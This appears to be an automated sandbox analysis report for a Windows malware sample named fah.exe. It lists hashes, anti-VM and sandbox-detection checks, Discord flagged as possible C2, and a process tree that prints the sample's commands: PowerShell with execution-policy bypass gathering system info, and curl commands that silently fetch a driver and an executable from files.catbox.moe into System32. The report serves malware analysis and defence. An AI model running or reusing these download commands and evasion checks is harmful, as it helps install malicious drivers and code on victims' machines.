Analysis
- user interaction
yes - max time kernel
149s - max time network
125s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
11/07/2026, 04:26
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
fah.exe
Resource
win10ltsc2021-20260513-en
windows10-ltsc_2021-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
fah.exe
Resource
win11-20260513-en
windows11-21h2-x64
12 signatures
150 seconds
General
- Target fah.exe
- Size 1.1MB
- Sample260711-e2paqsdx7t
- SHA256 6b83616e1f27291f8cd9ca0b73b4f17f3630d25b8a191164fe02b4a501fd3715
- MD5 40b3f21ce2c1791bd2542df82fee9688
- SHA1 a0cf7ee41ac14cc99ec0bf9ac91184327c0f2805
- SHA512 696808d0ab08b2c1e9081c20fe2240ee14aae661679f0af8f37e467931c073a31528c275fc4f076ec89e1ace706a8a8e9b694a0e229ca3b465b752f9b249993d
- SSDEEP 6144:LYkeOoN8VqQ+cvok2Wz5BFfTDq3iLIAlutcu6obd/KGxbI68KTxELQJ9/j/Rnpw8:LX5tVqAvHB6xxEL2pvWUhpCOg8
- TLSH T1F94519C69C075BEDE6E2E73976663313F8673B690A28C73F24C41D62510A78052EB74E
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
Malware Config
Signatures
- Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService fah.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF fah.exe - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ fah.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ fah.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions fah.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools fah.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion fah.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com 2 discord.com - Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN fah.exe -
pid Process 4072 powershell.exe 5164 powershell.exe 1840 powershell.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS fah.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer fah.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName fah.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 4072 powershell.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 4072 powershell.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe 5056 fah.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4072 powershell.exe Token: SeIncreaseQuotaPrivilege 4072 powershell.exe Token: SeSecurityPrivilege 4072 powershell.exe Token: SeTakeOwnershipPrivilege 4072 powershell.exe Token: SeLoadDriverPrivilege 4072 powershell.exe Token: SeSystemProfilePrivilege 4072 powershell.exe Token: SeSystemtimePrivilege 4072 powershell.exe Token: SeProfSingleProcessPrivilege 4072 powershell.exe Token: SeIncBasePriorityPrivilege 4072 powershell.exe Token: SeCreatePagefilePrivilege 4072 powershell.exe Token: SeBackupPrivilege 4072 powershell.exe Token: SeRestorePrivilege 4072 powershell.exe Token: SeShutdownPrivilege 4072 powershell.exe Token: SeDebugPrivilege 4072 powershell.exe Token: SeSystemEnvironmentPrivilege 4072 powershell.exe Token: SeRemoteShutdownPrivilege 4072 powershell.exe Token: SeUndockPrivilege 4072 powershell.exe Token: SeManageVolumePrivilege 4072 powershell.exe Token: 33 4072 powershell.exe Token: 34 4072 powershell.exe Token: 35 4072 powershell.exe Token: 36 4072 powershell.exe Token: SeDebugPrivilege 5164 powershell.exe Token: SeIncreaseQuotaPrivilege 5164 powershell.exe Token: SeSecurityPrivilege 5164 powershell.exe Token: SeTakeOwnershipPrivilege 5164 powershell.exe Token: SeLoadDriverPrivilege 5164 powershell.exe Token: SeSystemProfilePrivilege 5164 powershell.exe Token: SeSystemtimePrivilege 5164 powershell.exe Token: SeProfSingleProcessPrivilege 5164 powershell.exe Token: SeIncBasePriorityPrivilege 5164 powershell.exe Token: SeCreatePagefilePrivilege 5164 powershell.exe Token: SeBackupPrivilege 5164 powershell.exe Token: SeRestorePrivilege 5164 powershell.exe Token: SeShutdownPrivilege 5164 powershell.exe Token: SeDebugPrivilege 5164 powershell.exe Token: SeSystemEnvironmentPrivilege 5164 powershell.exe Token: SeRemoteShutdownPrivilege 5164 powershell.exe Token: SeUndockPrivilege 5164 powershell.exe Token: SeManageVolumePrivilege 5164 powershell.exe Token: 33 5164 powershell.exe Token: 34 5164 powershell.exe Token: 35 5164 powershell.exe Token: 36 5164 powershell.exe Token: SeDebugPrivilege 1840 powershell.exe Token: SeIncreaseQuotaPrivilege 1840 powershell.exe Token: SeSecurityPrivilege 1840 powershell.exe Token: SeTakeOwnershipPrivilege 1840 powershell.exe Token: SeLoadDriverPrivilege 1840 powershell.exe Token: SeSystemProfilePrivilege 1840 powershell.exe Token: SeSystemtimePrivilege 1840 powershell.exe Token: SeProfSingleProcessPrivilege 1840 powershell.exe Token: SeIncBasePriorityPrivilege 1840 powershell.exe Token: SeCreatePagefilePrivilege 1840 powershell.exe Token: SeBackupPrivilege 1840 powershell.exe Token: SeRestorePrivilege 1840 powershell.exe Token: SeShutdownPrivilege 1840 powershell.exe Token: SeDebugPrivilege 1840 powershell.exe Token: SeSystemEnvironmentPrivilege 1840 powershell.exe Token: SeRemoteShutdownPrivilege 1840 powershell.exe Token: SeUndockPrivilege 1840 powershell.exe Token: SeManageVolumePrivilege 1840 powershell.exe Token: 33 1840 powershell.exe Token: 34 1840 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 5056 wrote to memory of 4356 5056 fah.exe 81 PID 5056 wrote to memory of 3096 5056 fah.exe 82 PID 3096 wrote to memory of 4072 3096 cmd.exe 83 PID 5056 wrote to memory of 2884 5056 fah.exe 84 PID 2884 wrote to memory of 3472 2884 cmd.exe 85 PID 5056 wrote to memory of 5076 5056 fah.exe 87 PID 5076 wrote to memory of 5164 5076 cmd.exe 88 PID 5056 wrote to memory of 5632 5056 fah.exe 89 PID 5632 wrote to memory of 1840 5632 cmd.exe 90 PID 5056 wrote to memory of 4060 5056 fah.exe 91 PID 4060 wrote to memory of 3136 4060 cmd.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\fah.exe"C:\Users\Admin\AppData\Local\Temp\fah.exe"1⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵PID:4356
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4072
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys3⤵PID:3472
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5164
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
PID:5632 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1840
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe3⤵PID:3136
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4392
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 7f8f97ee615f534fb3a3d4ab1d554cd33b788f10c559754714d1e7ce0726b362
- MD5 a71e351e0584693771a3e1ab5ed855ee
- SHA1 5bbadb2db8240a293fce7bf6a965634703e51aa4
- SHA512 95148933c9fc727c3f88c9b5a0bd489f660bc0b24b3cb8b8e6e7ffbec937810d473cf57ff0c8a34075ce7f822f0c007be8893daa409738cd4782ab526bb5a185
- TLSH T18B71EE323375B0D4C9663F07192C1AC463BF4396EA58AF4CB658521ED92710BDB222F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c9bb1cbd25810b64296652104ffd4964a3b5c8439cda9cedfc5cd090ff2dc1b6
- MD5 5f6fbcedf886d440120eab098ac5085c
- SHA1 986908b2e46f853f28201e29066122201372fcc7
- SHA512 1d842b5ff22cb146f9ff8cae9b8408e28ebf77344c3fafa1b6b10e92b0402f0122a99eac2499b5f7f64ddf6125cca9a7e36af8a953bd485621b49a60f41097dc
- TLSH T1F9218B33B7ADC165C8D9117A208C9D10B275C3C744DFCF8B2A84C228A97F5DADB945E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e9589e2efbeac9047a4890afb5499763835a64cd858ec896a87972600947f528
- MD5 e593b7302e2c797862d40bc0e1bbf889
- SHA1 8277512099cb53bb0ac49a6e90df02aa886b366b
- SHA512 5d70b6d9fbb2ac184c0073aa7ac4176fb755a964c17f4409f7dfb2077faca82a1d64acd65e8014342fac0ee4cf98bab3654dff5bb3ef24dcbd00da531a626f67
- TLSH T196218B33B79DC165C9D9117A208CAD00B275C3C744DECF8B2AC4C129A97F5DADF941A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_po1lvlbg.lq5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH